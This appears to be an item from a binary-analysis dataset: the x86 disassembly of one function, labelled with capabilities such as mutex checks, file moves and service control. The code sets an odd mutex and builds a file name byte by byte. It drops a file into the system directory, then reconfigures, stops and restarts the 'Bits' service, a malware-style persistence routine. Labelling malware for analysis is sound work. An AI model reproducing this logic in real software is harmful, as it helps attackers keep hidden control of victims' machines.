Function at 0x400b90
Capabilities:
Accept command line arguments
Check mutex on windows
Delete file
Get common file path
Inspect load icon resource
Modify service
Move file
Pause service
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x35c
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x6b
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
call dword [sym.imp.USER32.dll_GetInputState]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push 0
push 0
lea ecx, [ebp - 0x34]
push 0
push ecx
call dword [sym.imp.USER32.dll_GetMessageA]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push str.mrnsbup_da
push eax
call fcn.00400e30
add esp, 8
test eax, eax
jne 0x400c22
push str.SDFSDFSDFSDFSDFSDFSDFAASD
push 1
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x400e17
cmp eax, 5
je 0x400e17
push esi
call fcn.00400670
push esi
call fcn.00400640
add esp, 8
nop
nop
nop
nop
push eax
pop eax
push 0x400880
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0
call fcn.004005d0
push 0
call fcn.00400470
add esp, 8
lea edx, [ebp - 0x258]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x258]
push 0x104
push edx
push eax
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x154]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x35c]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov al, 0x61
mov byte [ebp - 0x17], al
mov byte [ebp - 0x11], al
mov byte [ebp - 0xe], al
lea edx, [ebp - 0x18]
lea eax, [ebp - 0x154]
mov bl, 0x74
push edx
push eax
mov byte [ebp - 0x18], 0x6d
mov byte [ebp - 0x16], 0x78
mov byte [ebp - 0x15], 0x63
mov byte [ebp - 0x14], 0x6e
mov byte [ebp - 0x13], 0x75
mov byte [ebp - 0x12], 0x70
mov byte [ebp - 0x10], 0x2e
mov byte [ebp - 0xf], 0x64
mov byte [ebp - 0xd], bl
mov byte [ebp - 0xc], 0
call esi
lea ecx, [ebp - 0x18]
lea edx, [ebp - 0x35c]
push ecx
push edx
call esi
push 0
push 0x80
push 2
push 0
push 2
lea eax, [ebp - 0x154]
push 0x10000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [ebp + 8]
push 0
lea edx, [ebp - 0x258]
push ecx
push edx
mov esi, eax
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x258]
push eax
push esi
call fcn.004005f0
push esi
call fcn.00400640
add esp, 0x18
lea ecx, [ebp - 0x35c]
lea edx, [ebp - 0x154]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [ebp - 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x400e17
nop
nop
nop
nop
nop
nop
nop
lea ecx, [ebp - 8]
push 0xf01ff
push ecx
push edi
mov byte [ebp - 8], 0x42
mov byte [ebp - 7], 0x69
mov byte [ebp - 6], bl
mov byte [ebp - 5], 0x73
mov byte [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x400e10
nop
push 0
push 0
push 0
mov ebx, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 4
push 0x110
push esi
call ebx
lea edx, [ebp - 0x50]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
pop eax
call fcn.004008a0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 2
push 0x110
push esi
call ebx
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 0x10